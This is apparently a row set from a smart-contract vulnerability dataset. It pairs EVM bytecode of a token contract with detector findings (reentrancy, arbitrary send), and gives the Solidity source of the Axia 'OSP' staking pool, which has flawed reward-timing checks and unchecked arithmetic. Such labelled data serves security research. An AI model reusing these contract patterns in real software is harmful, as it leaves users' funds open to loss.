e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7c08a852dfa461c81855efd8b8bcaa75403eadba7433b9c44796dae209b7fb664736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,150 |
0x3ee62c2002bfce6f90a210ad40e47f06018af8aa | /*
* @dev This is the Axia Protocol Staking pool 1 contract (Oracle FUND Pool),
* a part of the protocol where stakers are rewarded in AXIA tokens
* when they make stakes of liquidity tokens from the oracle pool.
* stakers reward come from the daily emission from the total supply into circulation,
* this happens daily and upon the reach of a new epoch each made of 180 days,
* halvings are experienced on the emitting amount of tokens.
* on the 11th epoch all the tokens would have been completed emitted into circulation,
* from here on, the stakers will still be earning from daily emissions
* which would now be coming from the accumulated basis points over the epochs.
* stakers are not charged any fee for unstaking.
*/
pragma solidity 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract OSP{
using SafeMath for uint256;
//======================================EVENTS=========================================//
event StakeEvent(address indexed staker, address indexed pool, uint amount);
event UnstakeEvent(address indexed unstaker, address indexed pool, uint amount);
event RewardEvent(address indexed staker, address indexed pool, uint amount);
event RewardStake(address indexed staker, address indexed pool, uint amount);
//======================================STAKING POOLS=========================================//
address public Axiatoken;
address public OracleIndexFunds;
address public administrator;
bool public stakingEnabled;
uint256 constant private FLOAT_SCALAR = 2**64;
uint256 public MINIMUM_STAKE = 1000000000000000000; // 1 minimum
uint256 public MIN_DIVIDENDS_DUR = 18 hours;
uint public infocheck;
struct User {
uint256 balance;
uint256 frozen;
int256 scaledPayout;
uint256 staketime;
}
struct Info {
uint256 totalSupply;
uint256 totalFrozen;
mapping(address => User) users;
uint256 scaledPayoutPerToken;
address admin;
}
Info private info;
constructor() public {
info.admin = msg.sender;
stakingEnabled = false;
}
//======================================ADMINSTRATION=========================================//
modifier onlyCreator() {
require(msg.sender == info.admin, "Ownable: caller is not the administrator");
_;
}
modifier onlyAxiaToken() {
require(msg.sender == Axiatoken, "Authorization: only token contract can call");
_;
}
function tokenconfigs(address _axiatoken, address _oracleindex) public onlyCreator returns (bool success) {
require(_axiatoken != _oracleindex, "Insertion of same address is not supported");
require(_axiatoken != address(0) && _oracleindex != address(0), "Insertion of address(0) is not supported");
Axiatoken = _axiatoken;
OracleIndexFunds = _oracleindex;
return true;
}
function _minStakeAmount(uint256 _number) onlyCreator public {
MINIMUM_STAKE = _number*1000000000000000000;
}
function stakingStatus(bool _status) public onlyCreator {
require(Axiatoken != address(0) && OracleIndexFunds != address(0), "Pool addresses are not yet setup");
stakingEnabled = _status;
}
function MIN_DIVIDENDS_DUR_TIME(uint256 _minDuration) public onlyCreator {
MIN_DIVIDENDS_DUR = _minDuration;
}
//======================================USER WRITE=========================================//
function StakeTokens(uint256 _tokens) external {
_stake(_tokens);
}
function UnstakeTokens(uint256 _tokens) external {
_unstake(_tokens);
}
//======================================USER READ=========================================//
function totalFrozen() public view returns (uint256) {
return info.totalFrozen;
}
function frozenOf(address _user) public view returns (uint256) {
return info.users[_user].frozen;
}
function dividendsOf(address _user) public view returns (uint256) {
if(info.users[_user].staketime < MIN_DIVIDENDS_DUR){
return 0;
}else{
return uint256(int256(info.scaledPayoutPerToken * info.users[_user].frozen) - info.users[_user].scaledPayout) / FLOAT_SCALAR;
}
}
function userData(address _user) public view
returns (uint256 totalTokensFrozen, uint256 userFrozen,
uint256 userDividends, uint256 userStaketime, int256 scaledPayout) {
return (totalFrozen(), frozenOf(_user), dividendsOf(_user), info.users[_user].staketime, info.users[_user].scaledPayout);
}
//======================================ACTION CALLS=========================================//
function _stake(uint256 _amount) internal {
require(stakingEnabled, "Staking not yet initialized");
require(IERC20(OracleIndexFunds).balanceOf(msg.sender) >= _amount, "Insufficient Oracle AFT token balance");
require(frozenOf(msg.sender) + _amount >= MINIMUM_STAKE, "Your amount is lower than the minimum amount allowed to stake");
require(IERC20(OracleIndexFunds).allowance(msg.sender, address(this)) >= _amount, "Not enough allowance given to contract yet to spend by user");
info.users[msg.sender].staketime = now;
info.totalFrozen += _amount;
info.users[msg.sender].frozen += _amount;
info.users[msg.sender].scaledPayout += int256(_amount * info.scaledPayoutPerToken);
IERC20(OracleIndexFunds).transferFrom(msg.sender, address(this), _amount);
emit StakeEvent(msg.sender, address(this), _amount);
}
function _unstake(uint256 _amount) internal {
require(frozenOf(msg.sender) >= _amount, "You currently do not have up to that amount staked");
info.totalFrozen -= _amount;
info.users[msg.sender].frozen -= _amount;
info.users[msg.sender].scaledPayout -= int256(_amount * info.scaledPayoutPerToken);
require(IERC20(OracleIndexFunds).transfer(msg.sender, _amount), "Transaction failed");
emit UnstakeEvent(address(this), msg.sender, _amount);
TakeDividends();
}
function TakeDividends() public returns (uint256) {
uint256 _dividends = dividendsOf(msg.sender);
require(_dividends >= 0, "you do not have any dividend yet");
info.users[msg.sender].scaledPayout += int256(_dividends * FLOAT_SCALAR);
require(IERC20(Axiatoken).transfer(msg.sender, _dividends), "Transaction Failed"); // Transfer dividends to msg.sender
emit RewardEvent(msg.sender, address(this), _dividends);
return _dividends;
}
function scaledToken(uint _amount) external onlyAxiaToken returns(bool){
info.scaledPayoutPerToken += _amount * FLOAT_SCALAR / info.totalFrozen;
infocheck = info.scaledPayoutPerToken;
return true;
}
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm = mulmod (x, y, z);
if (mm > l) h -= 1;
l -= mm;
uint pow2 = z & -z;
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r = 1;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm = mulmod (x, y, uint (-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
} | 0x608060405234801561001057600080fd5b506004361061012b5760003560e01c80637640cb9e116100ad578063b821b6bf11610071578063b821b6bf146102c5578063c8910913146102cd578063e0287b3e1461031e578063f3c756dc1461033b578063f53d0a8e146103585761012b565b80637640cb9e1461023b578063a43fc87114610258578063aa9a091214610275578063ac3c85351461029e578063b333de24146102bd5761012b565b80631e7f87bc116100f45780631e7f87bc146101d6578063368a36c4146101de578063376edab6146101fd5780636387c9491461022b57806369c18e12146102335761012b565b806265318b1461013057806306106eb41461016857806308dbbb031461018c5780631bf6e00d146101945780631cfff51b146101ba575b600080fd5b6101566004803603602081101561014657600080fd5b50356001600160a01b0316610360565b60408051918252519081900360200190f35b6101706103c7565b604080516001600160a01b039092168252519081900360200190f35b6101566103d6565b610156600480360360208110156101aa57600080fd5b50356001600160a01b03166103dc565b6101c26103fa565b604080519115158252519081900360200190f35b61015661040a565b6101fb600480360360208110156101f457600080fd5b5035610410565b005b6101c26004803603604081101561021357600080fd5b506001600160a01b038135811691602001351661041c565b610170610544565b610156610553565b6101c26004803603602081101561025157600080fd5b5035610559565b6101fb6004803603602081101561026e57600080fd5b50356105ce565b6101566004803603606081101561028b57600080fd5b5080359060208101359060400135610626565b6101fb600480360360208110156102b457600080fd5b503515156106da565b6101566107b6565b6101566108e0565b6102f3600480360360208110156102e357600080fd5b50356001600160a01b03166108e6565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101fb6004803603602081101561033457600080fd5b503561093d565b6101fb6004803603602081101561035157600080fd5b503561098b565b610170610994565b6004546001600160a01b0382166000908152600860205260408120600301549091111561038f575060006103c2565b6001600160a01b03821660009081526008602052604090206002810154600190910154600954600160401b929102030490505b919050565b6001546001600160a01b031681565b60035481565b6001600160a01b031660009081526008602052604090206001015490565b600254600160a01b900460ff1681565b60075490565b610419816109a3565b50565b600a546000906001600160a01b031633146104685760405162461bcd60e51b8152600401808060200182810382526028815260200180610f5c6028913960400191505060405180910390fd5b816001600160a01b0316836001600160a01b031614156104b95760405162461bcd60e51b815260040180806020018281038252602a815260200180610fac602a913960400191505060405180910390fd5b6001600160a01b038316158015906104d957506001600160a01b03821615155b6105145760405162461bcd60e51b8152600401808060200182810382526028815260200180610f846028913960400191505060405180910390fd5b50600080546001600160a01b039384166001600160a01b0319918216179091556001805492909316911617815590565b6000546001600160a01b031681565b60055481565b600080546001600160a01b031633146105a35760405162461bcd60e51b815260040180806020018281038252602b815260200180610e94602b913960400191505060405180910390fd5b600754600160401b8302816105b457fe5b600980549290910490910190819055600555506001919050565b600a546001600160a01b031633146106175760405162461bcd60e51b8152600401808060200182810382526028815260200180610f5c6028913960400191505060405180910390fd5b670de0b6b3a764000002600355565b60008060006106358686610b27565b9150915083811061064257fe5b6000848061064c57fe5b868809905082811115610660576001820391505b91829003916000859003851680868161067557fe5b04955080848161068157fe5b04935080816000038161069057fe5b046001019290920292909201600285810380870282030280870282030280870282030280870282030280870282030280870282030295860290039094029390930295945050505050565b600a546001600160a01b031633146107235760405162461bcd60e51b8152600401808060200182810382526028815260200180610f5c6028913960400191505060405180910390fd5b6000546001600160a01b03161580159061074757506001546001600160a01b031615155b610798576040805162461bcd60e51b815260206004820181905260248201527f506f6f6c2061646472657373657320617265206e6f7420796574207365747570604482015290519081900360640190fd5b60028054911515600160a01b0260ff60a01b19909216919091179055565b6000806107c233610360565b3360008181526008602090815260408083206002018054600160401b87020190558254815163a9059cbb60e01b815260048101959095526024850186905290519495506001600160a01b03169363a9059cbb93604480820194918390030190829087803b15801561083257600080fd5b505af1158015610846573d6000803e3d6000fd5b505050506040513d602081101561085c57600080fd5b50516108a4576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8811985a5b195960721b604482015290519081900360640190fd5b604080518281529051309133917f8c998377165b6abd6e99f8b84a86ed2c92d0055aeef42626fedea45c2909f6eb9181900360200190a3905090565b60045481565b60008060008060006108f661040a565b6108ff876103dc565b61090888610360565b6001600160a01b0398909816600090815260086020526040902060038101546002909101549299919897509550909350915050565b600a546001600160a01b031633146109865760405162461bcd60e51b8152600401808060200182810382526028815260200180610f5c6028913960400191505060405180910390fd5b600455565b61041981610b54565b6002546001600160a01b031681565b806109ad336103dc565b10156109ea5760405162461bcd60e51b8152600401808060200182810382526032815260200180610e626032913960400191505060405180910390fd5b6007805482900390553360008181526008602090815260408083206001818101805488900390556009546002909201805492880290920390915554815163a9059cbb60e01b815260048101959095526024850186905290516001600160a01b039091169363a9059cbb9360448083019493928390030190829087803b158015610a7257600080fd5b505af1158015610a86573d6000803e3d6000fd5b505050506040513d6020811015610a9c57600080fd5b5051610ae4576040805162461bcd60e51b8152602060048201526012602482015271151c985b9cd858dd1a5bdb8819985a5b195960721b604482015290519081900360640190fd5b604080518281529051339130917f15fba2c381f32b0e84d073dd1adb9edbcfd33a033ee48aaea415ac61ca7d448d9181900360200190a3610b236107b6565b5050565b6000808060001984860990508385029250828103915082811015610b4c576001820391505b509250929050565b600254600160a01b900460ff16610bb2576040805162461bcd60e51b815260206004820152601b60248201527f5374616b696e67206e6f742079657420696e697469616c697a65640000000000604482015290519081900360640190fd5b600154604080516370a0823160e01b8152336004820152905183926001600160a01b